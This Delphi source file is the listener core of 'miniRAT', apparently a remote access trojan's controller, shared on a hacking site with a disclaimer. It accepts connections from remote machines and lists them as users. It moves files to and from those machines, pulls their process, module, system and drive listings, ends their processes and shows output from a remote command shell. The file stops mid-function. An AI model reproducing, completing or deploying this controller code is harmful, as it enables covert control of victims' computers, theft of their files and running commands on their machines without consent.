Remote Control

Development Platform:
Delphi

untServerCore.pas：Code Content
							{南域剑盟    www.98exe.com   上兴QQ:51992
 声明：程序由南域剑盟98exe.com成员网上搜集，不承担技术及版权问题}
unit untServerCore;
// This is the core for the miniRAT listen section.
// Here we receive all data/connection from remote hosts.
interface
uses
  Windows,  Sysutils,  Winsock,  ComCtrls,  untCMDList,SysUtils2;
const
  dVersion = 'miniRAT 0.50 [BETA]';
  ERROR_DISCONNECT      = 01;    // If server (remote connection disconnects)
  ERROR_FAIL            = 02;    // If server or client fails. Socket failures.
  ERROR_CONNECT         = 03;    // If client cant connect to server or reverse.
  ERROR_LISTEN          = 04;    // If server cant listen on choosen port.
  ERROR_ACCEPT          = 05;    // If server cant accept socket.
  ERROR_BREAK           = 06;    // If breaking from something.
  ERROR_LOSTCONNECTION  = 07;    // If server dies of some reason.
  ERROR_BIND            = 08;
  SUCCESS_CONNECT       = 09;    // Connection established without problems.
  SUCCESS_FINISHED      = 10;    // Finished sending file without problems.
  SUCCESS_ACCEPT        = 11;    // Accepted remote connection fine.
type
  RemoteSock = Record
    Sock: TSocket;
    Count: Integer;
  End;
  rSock = ^RemoteSock;
  TTransferInfo = Record
    Port        :Integer;
    Size        :Integer;
    Filename    :String;
    RemoteIP    :String;
    RemotePort  :String;
    Upload      :Boolean;
  End;
  PTransferInfo = ^TTransferInfo;
  TServer = Class(TObject)
  Private
    WSA         :TWSAData;
    TempSock    :TSocket;
    Sock        :TSocket;
    Addr        :TSockAddrIn;
    Remote      :TSockAddr;
    Len         :Integer;
    BlockList   :Array[0..99] Of String;
  Public
    SocketList  :Array[0..99] Of TSocket;
    Port        :Integer;
    Count       :Integer;
    ReturnError :Integer;
    Function Listen: Integer;
    Function AcceptNew(SSock: TSocket): Integer;
    Function GetFreeHandle(VAR Int: Integer): Integer;
    Function ReCount: Integer;
    Function Disconnect(dAddress, dPort: String): Boolean;
    Procedure ResolveStatus(Int: Integer);
    procedure Connect(Host,password:string;Port :integer);  //主动连接
  End;
var
  TransferInfo: TTransferInfo;
  rSocket: RemoteSock;
  Close:Boolean;
  Password: String;
  HandleList: Array[0..99] Of THandle;
  TransferList: Array[0..99] Of THandle;
  Function GetTransfer: Integer;
  Function RemotePort(Sock: TSocket): String;
  Function RemoteAddress(Sock: TSocket): String;
  Function RemoteAddr(Sock: TSocket): TSockAddrIn;
  Function RemoveUser(dAddress, dPort: String): Boolean;
  Function UpdateUser(dAddress, dPort, dVersion, dConnection, dSpeed, dName: String): Boolean;
  Function AddUser(dAddress, dPort, dVersion, dConnection, dSpeed, dSock: String): Boolean;
  Function SendData(Sock: TSocket; Text: String; VAR sByte: Cardinal): Integer;
  Function GetPath: String;
  Function GetKBS(dByte: Integer): String;
  Function AddTransfer(dAddress, dPort, dSpeed, dFilename, dUpload, Status, dSize: String): Boolean;
  Function UpdateTransfer(dAddress, dPort, dSpeed, Status, dTimeLeft, dSize: String): Boolean;
  Function RemoveTransfer(dAddress, dPort: String): Boolean;
implementation
Uses
  untClient, untTransferView;
Function CalculatePercent(dProgress, dTotal: Integer): String;
Var
  R     :Real;
  S     :Real;
  C     :Integer;
  Function RToInt(E: Real): Integer;
  Var
    S: String;
  Begin
    S := Format('%N', [E]);
    If (Pos('.', S) > 0) Then
      S := Copy(S, 1, Pos('.', S) - 1);
    While Pos(',', S) > 0 Do
      Delete(S, Pos(',', S), 1);
    While Pos(' ', S) > 0 Do
      Delete(S, Pos(' ', S), 1);
    While Pos(#160, S) > 0 Do
      Delete(S, Pos(#160, S), 1);
    Result := StrToInt(S);
  End;
Begin
  If (dTotal = 0) Then Exit;
  C := 0;
  R := dTotal / 100;
  S := 0;
  While RToInt(S) < dProgress Do
  Begin
    S := S + R;
    Inc(C);
  End;
  Result := IntToStr(C) + '%';
End;
Function GetKBS(dByte: Integer): String;
Var
  dB    :Integer;
  dKB   :Integer;
  dMB   :Integer;
  dGB   :Integer;
  dT    :Integer;
Begin
  dB := dByte;
  dKB := 0;
  dMB := 0;
  dGB := 0;
  dT  := 1;
  While (dB > 1024) Do
  Begin
    Inc(dKB, 1);
    Dec(dB , 1024);
    dT := 1;
  End;
  While (dKB > 1024) Do
  Begin
    Inc(dMB, 1);
    Dec(dKB, 1024);
    dT := 2;
  End;
  While (dMB > 1024) Do
  Begin
    Inc(dGB, 1);
    Dec(dMB, 1024);
    dT := 3;
  End;
  Case dT Of
    1: Result := IntToStr(dKB) + '.' + Copy(IntToStr(dB ),1,2) + ' kb';
    2: Result := IntToStr(dMB) + '.' + Copy(IntToStr(dKB),1,2) + ' mb';
    3: Result := IntToStr(dGB) + '.' + Copy(IntToStr(dMB),1,2) + ' gb';
  End;
End;
Function GetTimeLeft(Speed, Total: Integer): String;
Var
  dDay  :Integer;
  dHour :Integer;
  dMin  :Integer;
  dSec  :Integer;
  dTmp  :Integer;
  dTmp2 :Integer;
Begin
  If Speed = 0 Then Exit;
  If Total = 0 Then Exit;
  dDay := 0; dHour := 0; dMin := 0;
  dTmp2 := 0; dTmp := 0;
  While dTmp2 <= Total Do
  Begin
    Inc(dTmp2, Speed);
    Inc(dTmp, 1);
  End;
  dSec := dTmp;
  If dSec > 60 Then
    repeat
      dec(dSec, 60);
      inc(dMin, 1);
    until dSec < 60;
  If dMin > 60 Then
    repeat
      dec(dMin, 60);
      inc(dHour, 1);
    until dMin < 60;
  If dHour > 24 Then
    repeat
      dec(dHour, 24);
      inc(dDay, 1);
    until dHour < 24;
  Result := IntToStr(dDay)  + 'd '+
            IntToStr(dHour) + 'h '+
            IntToStr(dMin)  + 'm '+
            IntToStr(dSec)  + 's';
End;
Function GetPath: String;
Begin
  Result := ExtractFilePath(ParamStr(0)) + 'Downloads';
  If (Not DirectoryExists(Result)) Then
    CreateDirectory(pChar(Result), NIL);
End;
Function Upload(P: Pointer): DWord; STDCALL;
Var
  FileSize      :Integer;
  FilePort      :String;
  FileName      :String;
  RemoteIP      :String;
  RemotePort    :String;
  Upload        :Boolean;
  Sock          :TSocket;
  Rem           :TSockAddr;
  Addr          :TSockAddrIn;
  WSA           :TWSAData;
  Len           :Integer;
  F             :THandle;
  BytesRead     :Cardinal;
  BytesSize     :Cardinal;
  rFile         :Array[0..8192] Of Char;
  Start         :Integer;
  Total         :Integer;
  Speed         :Integer;
  dErr          :Integer;
Label
  Startup,
  Connection,
  Connected,
  Disconnected,
  Finished;
Begin
  FilePort      := IntToStr(PTransferInfo(P)^.Port);
  FileSize      := PTransferInfo(P)^.Size;
  FileName      := PTransferInfo(P)^.Filename;
  RemoteIP      := PTransferInfo(P)^.RemoteIP;
  RemotePort    := PTransferInfo(P)^.RemotePort;
  Upload        := PTransferInfo(P)^.Upload;
  // Startup stage --
StartUP:
  AddTransfer(RemoteIP, FilePort, '0.00 kbs', FileName, IntToStr(Integer(Upload)), 'Connecting', IntToStr(FileSize));
  WSAStartUp($0101, WSA);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(StrToInt(FilePort));
  Addr.sin_addr.S_addr := INADDR_ANY;
  // Connection stage --
Connection:
  If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then Goto Disconnected;
  If (Listen(Sock, SOMAXCONN) <> 0) Then Goto Disconnected;
  Len := SizeOf(Rem);
  Sock := Accept(Sock, @Rem, @Len);
  If (Sock = INVALID_SOCKET) Then Goto Disconnected;
  // Connected stage --
Connected:
  UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Connected', '00:00:00', '');
  F := CreateFile(pChar(FileName), GENERIC_READ, FILE_SHARE_READ, NIL, OPEN_EXISTING, 0, 0);
  BytesSize := 0;
  SetFilePointer(F, 0, NIL, FILE_BEGIN);
  If (BytesSize < FileSize) Then
  Begin
    Start := GetTickCount;
    Total := 1;
    Repeat
      FillChar(rFile, SizeOf(rFile), 0);
      ReadFile(F, rFile, SizeOf(rFile), BytesRead, NIL);
      dErr := Send(Sock, rFile, BytesRead, 0);
      If dErr = -1 Then Break;
      Inc(Total, dErr);
      Speed := Total DIV (((GetTickCount() - Start) DIV 1000) + 1);
      UpdateTransfer(RemoteIP, FilePort, GetKBS(Speed)+'/s (' + CalculatePercent(Total, FileSize) + ')', 'Uploading', GetTimeLeft(Speed, FileSize-Total), GetKbs(Total)+' of '+GetKbs(FileSize));
      Recv(Sock, rFile, SizeOf(rFile), 0);
    Until (Total >= FileSize);
    Goto Finished;
  End Else
    Goto Finished;
  // Disconnected stage --
Disconnected:
  UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Failed, Disconnected', '00:00:00', '');
  Sleep(1000);
  Goto Finished;
  // Finished stage --
Finished:
  CloseHandle(F);
  WSACleanUP;
  UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Finished', '00:00:00', '');
  Sleep(1000);
  RemoveTransfer(RemoteIP, FilePort);
End;
Function Transfer(P: Pointer): DWord; STDCALL;
Var
  FileSize      :Integer;
  FilePort      :String;
  FileName      :String;
  RemoteIP      :String;
  RemotePort    :String;
  Upload        :Boolean;
  Sock          :TSocket;
  Rem           :TSockAddr;
  Addr          :TSockAddrIn;
  WSA           :TWSAData;
  Len           :Integer;
  F             :THandle;
  BytesWritten  :Cardinal;
  BytesSize     :Cardinal;
  rFile         :Array[0..8192] Of Char;
  Start         :Integer;
  Total         :Integer;
  Speed         :Integer;
  dErr          :Integer;
  T             :String;
Label
  Startup,
  Connection,
  Connected,
  Disconnected,
  Finished;
Begin
  FilePort      := IntToStr(PTransferInfo(P)^.Port);
  FileSize      := PTransferInfo(P)^.Size;
  FileName      := PTransferInfo(P)^.Filename;
  RemoteIP      := PTransferInfo(P)^.RemoteIP;
  RemotePort    := PTransferInfo(P)^.RemotePort;
  Upload        := PTransferInfo(P)^.Upload;
  // Startup stage --
StartUP:
  AddTransfer(RemoteIP, FilePort, '0.00 kbs', FileName, IntToStr(Integer(Upload)), 'Connecting', IntToStr(FileSize));
  WSAStartUp($0101, WSA);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(StrToInt(FilePort));
  Addr.sin_addr.S_addr := INADDR_ANY;
  // Connection stage --
Connection:
  If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then Goto Disconnected;
  If (Listen(Sock, SOMAXCONN) <> 0) Then Goto Disconnected;
  Len := SizeOf(Rem);
  Sock := Accept(Sock, @Rem, @Len);
  If (Sock = INVALID_SOCKET) Then Goto Disconnected;
  // Connected stage --
Connected:
  UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Connected', '00:00:00', '');
  F := CreateFile(pChar(GetPath+FileName), GENERIC_WRITE, FILE_SHARE_WRITE, NIL, CREATE_NEW, 0, 0);
  BytesSize := 0;
  SetFilePointer(F, 0, NIL, FILE_END);
  T := 'ok';
  If (BytesSize < FileSize) Then
  Begin
    Start := GetTickCount;
    Total := 1;
    Repeat
      FillChar(rFile, SizeOf(rFile), 0);
      dErr := Recv(Sock, rFile, SizeOf(rFile), 0);
      If dErr = -1 Then Break;
      Inc(Total, dErr);
      SetFilePointer(F, 0, NIL, FILE_END);
      WriteFile(F, rFile, dErr, BytesWritten, NIL);
      Speed := Total DIV (((GetTickCount() - Start) DIV 1000) + 1);
      UpdateTransfer(RemoteIP, FilePort, GetKBS(Speed)+'/s (' + CalculatePercent(Total, FileSize) + ')', 'Downloading', GetTimeLeft(Speed, FileSize-Total), GetKbs(Total)+' of '+GetKbs(FileSize));
      Send(Sock, t[1], length(t), 0);
    Until (Total >= FileSize);
    Goto Finished;
  End Else
    Goto Finished;
  // Disconnected stage --
Disconnected:
  UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Failed, Disconnected', '00:00:00', '');
  Sleep(1000);
  Goto Finished;
  // Finished stage --
Finished:
  CloseHandle(F);
  WSACleanUP;
  UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Finished', '00:00:00', '');
  Sleep(1000);
  RemoveTransfer(RemoteIP, FilePort);
End;
// Add Transfer
Function AddTransfer(dAddress, dPort, dSpeed, dFilename, dUpload, Status, dSize: String): Boolean;
Var
  L: TListItem;
  I: Word;
Begin
  Result := False;
  If (Form2.ListView1.Items.Count > 0) Then
    For I := 0 To Form2.ListView1.Items.Count -1 Do
      If (Form2.ListView1.Items[I].Caption = dAddress) And
         (Form2.ListView1.Items[I].SubItems[0] = dPort) Then
         Exit;
  Result := True;
  L := Form2.ListView1.Items.Add;
  L.Caption := dAddress;
  L.SubItems.Add(dPort);
  L.SubItems.Add(dSpeed);
  L.SubItems.Add(dFilename);
  If (dUpload = '0') Then L.SubItems.Add('Download')
                     Else L.SubItems.Add('Upload');
  L.SubItems.Add(GetKBS(StrToInt(dSize)));
  L.SubItems.Add('00:00:00');
  L.SubItems.Add(Status);
End;
// Update Transfer
Function UpdateTransfer(dAddress, dPort, dSpeed, Status, dTimeLeft, dSize: String): Boolean;
Var
  I: Word;
Begin
  Result := False;
  If (Form2.ListView1.Items.Count > 0) Then
    For I := 0 To Form2.ListView1.Items.Count-1 Do
        If (Form2.ListView1.Items[I].Caption = dAddress) And
         (Form2.ListView1.Items[I].SubItems[0] = dPort) Then
         Begin
           Result := True;
           If (dSpeed <> '') Then Form2.ListView1.Items[I].SubItems[1] := (dSpeed);
           If (Status <> '') Then Form2.ListView1.Items[I].SubItems[6] := (Status);
           If (dTimeLeft <> '')  Then Form2.ListView1.Items[I].SubItems[5] := (dTimeLeft);
           If (dSize <> '')  Then Form2.ListView1.Items[I].SubItems[4] := (dSize);
         End;
End;
// Remove Transfer
Function RemoveTransfer(dAddress, dPort: String): Boolean;
Var
  I: Word;
Begin
  Result := False;
  If (Form2.ListView1.Items.Count > 0) Then
    For I := 0 To Form2.ListView1.Items.Count-1 Do
      If (Form2.ListView1.Items[I].Caption = dAddress) And
         (Form2.ListView1.Items[I].SubItems[0] = dPort) Then
         Begin
           Form2.ListView1.Items[I].Delete;
           Break;
         End;
End;
// Add User
Function AddUser(dAddress, dPort, dVersion, dConnection, dSpeed, dSock: String): Boolean;
Var
  L: TListItem;
  I: Word;
Begin
  Result := False;
  If (Form1.ListView1.Items.Count > 0) Then
    For I := 0 To Form1.ListView1.Items.Count-1 Do
      If (Form1.ListView1.Items[I].Caption = dAddress) And
         (Form1.ListView1.Items[I].SubItems[0] = dPort) Then
         Exit;
  Result := True;
  L := Form1.ListView1.Items.Add;
  L.Caption := dAddress;
  L.SubItems.Add(dPort);
  L.SubItems.Add(dVersion);
  L.SubItems.Add(dConnection);
  L.SubItems.Add(dSpeed);
  L.SubItems.Add(dSock);
  L.SubItems.Add('Unnamed');
End;
// Update User
Function UpdateUser(dAddress, dPort, dVersion, dConnection, dSpeed, dName: String): Boolean;
Var
  I: Word;
Begin
  Result := False;
  If (Form1.ListView1.Items.Count > 0) Then
    For I := 0 To Form1.ListView1.Items.Count-1 Do
      If (Form1.ListView1.Items[I].Caption = dAddress) And
         (Form1.ListView1.Items[I].SubItems[0] = dPort) Then
         Begin
           Result := True;
           If (dAddress <> '') Then Form1.ListView1.Items[I].Caption := dAddress;
           If (dPort <> '') Then Form1.ListView1.Items[I].SubItems[0] := (dPort);
           If (dVersion <> '') Then Form1.ListView1.Items[I].SubItems[1] := (dVersion);
           If (dConnection <> '') Then Form1.ListView1.Items[I].SubItems[2] := (dConnection);
           If (dSpeed <> '') Then Form1.ListView1.Items[I].SubItems[3] := (dSpeed);
           If (dName <> '') Then Form1.ListView1.Items[I].SubItems[5] := (dName);
         End;
End;
// Remove User
Function RemoveUser(dAddress, dPort: String): Boolean;
Var
  I: Word;
Begin
  If (Form1.ListView1.Items.Count > 0) Then
    For I := 0 To Form1.ListView1.Items.Count-1 Do
      If (Form1.ListView1.Items[I].Caption = dAddress) And
         (Form1.ListView1.Items[I].SubItems[0] = dPort) Then
         Begin
           Form1.ListView1.Items[I].Delete;
           Form1.StatusBar1.Panels[1].Text := 'Error: Server disconnected. ('+dAddress+')';
           Break;
         End;
End;
// Disconnect choosen user
Function TServer.Disconnect(dAddress, dPort: String): Boolean;
Var
  I: Word;
  J: Word;
  rHost: String;
  rPort: String;
Begin
  For I := 0 To 99 Do
  Begin
    rHost := RemoteAddress(SocketList[I]);
    rPort := RemotePort(SocketList[I]);
    If (rHost = dAddress) and (rPort = dPort) Then
    Begin
      CloseSocket(SocketList[I]);
      SocketList[I] := INVALID_SOCKET;
      Break;
    End;
  End;
End;
// Report back to user at client GUI interface.
Procedure TServer.ResolveStatus(Int: Integer);
Begin
  Case ReturnError Of
    ERROR_DISCONNECT:           Form1.StatusBar1.Panels[1].Text := 'Error: Server disconnected.';
    ERROR_FAIL:                 Form1.StatusBar1.Panels[1].Text := 'Error: Failed.';
    ERROR_CONNECT:              Form1.StatusBar1.Panels[1].Text := 'Error: Connection failed.';
    ERROR_LISTEN:               Form1.StatusBar1.Panels[1].Text := 'Error: Listen failed.';
    ERROR_ACCEPT:               Form1.StatusBar1.Panels[1].Text := 'Error: Accept of new server failed.';
    ERROR_BREAK:                Form1.StatusBar1.Panels[1].Text := 'Error: "Break" used, procedure failed.';
    ERROR_LOSTCONNECTION:       Form1.StatusBar1.Panels[1].Text := 'Error: Lost connection.';
    ERROR_BIND:                 Form1.StatusBar1.Panels[1].Text := 'Error: Bind failed.';
    SUCCESS_CONNECT:            Form1.StatusBar1.Panels[1].Text := 'Connected successfully.';
    SUCCESS_FINISHED:           Form1.StatusBar1.Panels[1].Text := 'Finished successfully.';
    SUCCESS_ACCEPT:             Form1.StatusBar1.Panels[1].Text := 'Accepted new connection.';
  End;
End;
// Remote Sock
Function RemoteAddr(Sock: TSocket): TSockAddrIn;
Var
  W     :TWSAData;
  S     :TSockAddrIn;
  I     :Integer;
Begin
  WSAStartUP($0101, W);
  I := SizeOf(S);
  GetPeerName(Sock, S, I);
  WSACleanUP();
  Result := S;
End;
// Remote Socket Address
Function RemoteAddress(Sock: TSocket): String;
Begin
  Result := INET_NTOA(RemoteAddr(Sock).sin_addr);
End;
// Remote Socket Port
Function RemotePort(Sock: TSocket): String;
Begin
  Result := IntToStr(nTohs(RemoteAddr(Sock).sin_port));
End;
// Recounting Connections
Function TServer.ReCount: Integer;
Var
  I: Word;
Begin
  Result := 0;
  For I := 0 To 99 Do
    If (SocketList[I] > 0) Then
      Inc(Result);
End;
// Kill Threads
Function KillThread(Handle: THandle): Integer;
Var
  eCode: Cardinal;
Begin
  GetExitCodeThread(Handle, eCode);
  If (TerminateThread(Handle, eCode)) Then
    Result := 1
  Else
    Result := 0;
End;
// Send Data
Function SendData(Sock: TSocket; Text: String; VAR sByte: Cardinal): Integer;
Var
  Len: Integer;
Begin
  Result := Length(Text);
  Len := Send(Sock, Text[1], Length(Text), 0);
  Inc(sByte, Len);
End;
Procedure StripOutCmd(Text: String; VAR Cmd: String);
Begin Cmd := Copy(Text, 1, Pos(' ', Text)-1); End;
Procedure StripOutParam(Text: String; VAR Param: Array of String);
Var
  I: Word;
Begin
  FillChar(Param, SizeOf(Param), 0);
  Delete(Text, 1, Pos(' ', Text));
  If (Text = '') Then EXIT;
  If (Text[Length(Text)] <> ' ') Then Text := Text + ' ';
  I := 0;
  While (Pos(' ', Text) > 0) Do
  Begin
    Param[I] := Copy(Text, 1, Pos(' ', Text)-1);
    Inc(I);
    Delete(Text, 1, Pos(' ', Text));
    If (I >= 100) Then Break;
  End;
End;
Function GetTransfer: Integer;
Var
  I: Word;
Begin
  Result := -1;
  For I := 0 To 99 Do
    If (TransferList[I] = 0) Then
    Begin
      Result := I;
      Break;
    End;
End;
Function IsNum(S: String): Bool;
Var
  I: Word;
Begin
  If S = '' Then
  Begin
    Result := False;
    Exit;
  End;
  
  Result := True;
  For I := 1 To Length(S) Do
    If (Pos(S[I], ' 0123456789') = 0) Then
    Begin
      Result := False;
      Break;
    End;
End;
Procedure ReplaceStr(ReplaceWord, WithWord:String; Var Text: String);
Var
  xPos: Integer;
Begin
  While Pos(ReplaceWord, Text)>0 Do
  Begin
    xPos := Pos(ReplaceWord, Text);
    Delete(Text, xPos, Length(ReplaceWord));
    Insert(WithWord, Text, xPos);
  End;
End;
// Recieving data from remote sock.
Function ListenHost(P: Pointer): DWord; STDCALL;
Var
  Address, Port :String;
  Sock: TSocket;
  Count: Integer;
  Buffer: Array[0..1600] Of Char;
  Data: String;
  Time: TTimeVal;
  FDS: TFDSet;
  Len: Integer;
  dPID: String;
  dName: String;
  dModule: String;
  Temp: String;
  FName:String;
  Cmd: String;
  Param: Array[0..100]of String;
  D: DWord;
  I: Word;
  J: Word;
  rByte: Cardinal;
  sByte: Cardinal;
  Item: TListItem;
Begin
  Sock := rSock(P)^.Sock;
  Count := rSock(P)^.Count;
  Address := RemoteAddress(Sock);
  Port := RemotePort(Sock);
  rByte := 0;
  sByte := 0;
  AddUser(Address, Port, '', '', '', IntToStr(Sock));
  Repeat
    Time.tv_sec := 120;
    Time.tv_usec := 0;
    FD_ZERO(FDS);
    FD_SET(Sock, FDS);
    If Select(0, @FDS, NIL, NIL, @TIME) <= 0 Then Break;
    Len := Recv(Sock, Buffer, 1600, 0);
    If (Len <= 0) Then Break;
    Inc(rByte, Len);
    Data := String(Buffer);
    ZeroMemory(@Buffer, SizeOf(Buffer));
    While (Pos(#10, Data) > 0) Do
    Begin
      Temp := Copy(Data, 1, Pos(#10, Data)-1);
      Delete(Data, 1, Pos(#10, Data));
      StripOutCmd(Temp, Cmd);
      StripOutParam(Temp, Param);
      If IsNum(Cmd) Then
      Case StrToInt(Cmd) Of
        C_FINISH:Begin
                   For I := 0 To 100 Do
                     If (dlgProcessList[I] <> NIL) And
                       (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                         dlgProcessList[I].PopupMenu1.Items[1].Enabled := True; 
                 End;
        C_DOWNLOAD: Form1.StatusBar1.Panels[1].Text := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
        C_PASS:
          if (Param[0] = '0') then CloseSocket(Sock);
        C_VERSION: begin
                      UpdateUser(Address, Port, Param[0], '', GetKBS(rByte)+'/'+GetKBS(sByte), '');
                      SendData(sock,'01 ' + password + #10,sByte);
                   end;
        C_ASSIGNEDNAME: UpdateUser(Address, Port, '', '', GetKBS(rByte)+'/'+GetKBS(sByte), Copy(Temp, 4, Length(Temp)));
        C_CONNECTION: UpdateUser(Address, Port, '', Copy(Temp, 4, Length(Temp)), GetKBS(rByte)+'/'+GetKBS(sByte), '');
        C_PING: SendData(Sock, IntToStr(C_PING)+#10, sByte);
        C_STARTTRANSFER: Begin
                           TransferInfo.Upload := Boolean(StrToInt(Param[0]));
                           TransferInfo.Size := StrToInt(Param[1]);
                           TransferInfo.Port := StrToInt(Param[2]);
                           TransferInfo.Filename := Copy(Temp, Pos(Param[3], Temp), Length(Temp));
                           TransferInfo.RemoteIP := RemoteAddress(Sock);
                           TransferInfo.RemotePort := RemotePort(Sock);
                           If (GetTransfer > -1) Then
                             If (Not TransferInfo.Upload) Then
                               TransferList[GetTransfer] := CreateThread(NIL, 0, @Transfer, @TransferInfo, 0, D)
                             Else
                               TransferList[GetTransfer] := CreateThread(NIL, 0, @Upload, @TransferInfo, 0, D);
                         End;
        C_INFOSYSTEM,
        C_INFOSERVER,
        C_INFONETWORK: Begin
                         Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
                         For I := 0 To 100 Do
                           If (dlgInformation[I] <> NIL) And
                              (dlgInformation[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                           Begin
                             Item := dlgInformation[I].ListView1.Items.Add;
                             Item.Caption := Param[0];
                             Item.SubItems.Add(Temp);
                             Break;
                           End;
                      End;
        C_PROCESSLIST: Begin
                         Temp := Copy(Temp, Pos(Param[3], Temp), Length(Temp));
                         For I := 0 To 100 Do
                           If (dlgProcessList[I] <> NIL) And
                              (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                                dlgProcessList[I].pAddParent(Temp, Param[0], Param[1], Param[2]);
                         Temp := 'ok';
                         Send(Sock, Temp[1], Length(Temp), 0);
                         Inc(sByte, Length(Temp));
                       End;
        C_MODULELIST : Begin
                         dPID := Param[0];
                         dName := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
                         dName := Copy(dName, 1, Pos(#1, dName)-1);
                         dModule := Copy(Temp, Pos(#1, Temp)+1, Length(Temp));
                         If (dModule <> '') And (dModule <> ' ') Then
                         For I := 0 To 100 Do
                           If (dlgProcessList[I] <> NIL) And
                              (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                                dlgProcessList[I].pAddChild(dPID, dName, dModule);
                         Temp := 'ok';
                         Send(Sock, Temp[1], Length(Temp), 0);
                         Inc(sByte, Length(Temp));
                       End;
        C_REQUESTLIST: Begin
                         // Attr Size Name
                         Temp := Copy(Temp, Pos(Param[2], Temp), Length(Temp));
                         For I := 0 To 100 Do
                           If (dlgFileManager[I] <> NIL) And
                              (dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                           Begin
                             If (Temp <> '.') Then
                             Begin
                               Item := dlgFileManager[I].ListView1.Items.Add;
                               Item.Caption := Temp;
                               If (Param[1] <> '0') Then
                                 Item.SubItems.Add(GetKBS(StrToInt(Param[1])))
                               Else
                                 Item.SubItems.Add(Param[1]);
                               If (Temp = '..') Then
                                 Item.SubItems.Add('Go Back')
                               Else
                                 Item.SubItems.Add(Param[0]);
                               If (LowerCase(ExtractFileExt(Temp)) = '.bat') Then Item.ImageIndex := 1 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.bmp') Then Item.ImageIndex := 2 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.com') Then Item.ImageIndex := 3 Else
                               If (Param[0] = 'DIR')                         Then Item.ImageIndex := 4 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.dll') Then Item.ImageIndex := 5 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.sys') Then Item.ImageIndex := 5 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.ocx') Then Item.ImageIndex := 5 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.mp3') Then Item.ImageIndex := 6 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.wav') Then Item.ImageIndex := 6 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.ogg') Then Item.ImageIndex := 6 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.exe') Then Item.ImageIndex := 7 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.gif') Then Item.ImageIndex := 8 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.ini') Then Item.ImageIndex := 9 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.inf') Then Item.ImageIndex := 9 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.txt') Then Item.ImageIndex := 9 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.cfg') Then Item.ImageIndex := 9 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.htm') Then Item.ImageIndex := 10 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.html')Then Item.ImageIndex := 10 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.php') Then Item.ImageIndex := 10 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.asp') Then Item.ImageIndex := 10 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.pl' ) Then Item.ImageIndex := 10 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.jpg') Then Item.ImageIndex := 11 Else
                               If (LowerCase(ExtractFileExt(Temp)) = '.pif') Then Item.ImageIndex := 12 Else
                               Item.ImageIndex := 0;
                             End;
                           End;
                         Temp := IntToStr(C_CURRENTPATH)+' 1'#10;
                         If (Sock > 0) Then
                         Begin
                           Send(Sock, Temp[1], Length(Temp), 0);
                           Inc(sByte, Length(Temp));    
                         End;
                       End;
        C_REQUESTDRIVE: Begin
                          For I := 0 To 100 Do
                            If (dlgFileManager[I] <> NIL) And
                               (dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                                 If (Param[0] <> '') Then
                                 Begin
                                   If (Param[0] <> 'A:') Then
                                   Begin
                                     dlgFileManager[I].ComboBox1.Items.Add(Param[0]);
                                     dlgFileManager[I].ComboBox1.ItemIndex := 0;
                                   End;
                                   If (Param[0] = 'C:') Then
                                   Begin
                                     Temp := IntToStr(C_REQUESTLIST)+' '+dlgFileManager[I].ComboBox1.Items.Strings[0]+#10;
                                     Send(Sock, Temp[1], length(Temp), 0);
                                     Inc(sByte, Length(Temp));
                                   End;                                   
                                 End;
                        End;
        C_CURRENTPATH: Begin
                         Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
                         For I := 0 To 100 Do
                           If (dlgFileManager[I] <> NIL) And
                              (dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                              Begin
                                dlgFileManager[I].Edit1.Text := Temp;
                                Break;
                              End;
                       End;
        C_ENDPROCESS: Begin
                        Case StrToInt(Param[1]) Of
                          0: Form1.StatusBar1.Panels[1].Text := Param[0] + ' PID Failed To End.';
                          1: Form1.StatusBar1.Panels[1].Text := Param[0] + ' PID Ended Successfully.';
                        End;
                      End;
        C_REMOTECMD: Begin
                       Temp := Copy(Temp, 4, Length(Temp));
                       For I := 0 To 100 Do
                         If (dlgRemoteShell[I] <> NIL) And
                            (dlgRemoteShell[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
                            Begin
                              ReplaceStr(#1, #10, Temp);
                              dlgRemoteShell[I].Memo1.Lines.Add(Temp);
                              Break;
                            End;
                     End;
      End;
    End;
